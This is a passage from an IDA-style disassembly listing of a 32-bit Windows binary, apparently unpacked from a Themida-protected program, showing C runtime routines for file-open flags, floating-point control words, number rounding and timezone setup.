short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_48A01C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F and dword_48A018, 0 mov dword_48A014, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 2630000h nop mov esi, eax cmp esi, edi jz short loc_420090 push esi nop call near ptr 25D0000h test eax, eax jnz short loc_4200A4 push esi nop call near ptr 2611A31h loc_420090: ; CODE XREF: sub_41FEC6+1B6j call near ptr 2630313h nop push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_48A018, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF40 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF58 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_48A1E8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_48A210, eax add esp, 18h movsx eax, byte_48A1EA mov dword_48A208, eax pop edi movsx eax, word_48A1E8 mov dword_48A20C, eax mov dword_48A214, offset dword_48A1EC mov eax, offset dword_48A208 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:0043B918o ; ___:0043C3E0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_48A218 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_48A218 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 0FC5DE800h, 0A3900218h, 48A218h, 1835FFC3h ; DATA XREF: ___:00426024o dd 900048A2h, 18FC4AE8h ; --------------------------------------------------------------------------- add al, bl ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 25B0000h nop test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 283090Eh test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 25A0B9Bh nop test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_48A2D8, 0 jnz short locret_42094D call sub_42094E inc dword_48A2D8 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_48A220, ebp loc_420965: ; DATA XREF: Themida_:004F6C13o mov dword_43C018, ebx mov dword_43C008, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_48A228 call near ptr 27E0000h nop cmp eax, ebx jz loc_420BA6 mov eax, dword_48A228 mov ecx, dword_48A27C imul eax, 3Ch cmp word_48A26E, bp push 1 pop edx mov dword_43BF70, eax mov dword_48A220, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43BF70, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_48A2C2, bp jz short loc_4209E9 mov eax, dword_48A2D0 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_43BF74, edx imul eax, 3Ch mov dword_43BF78, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_43BF74, ebp mov dword_43BF78, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_43BFFC push ebx push offset dword_48A22C push edi push dword_48A0B8 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_43BFFC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: 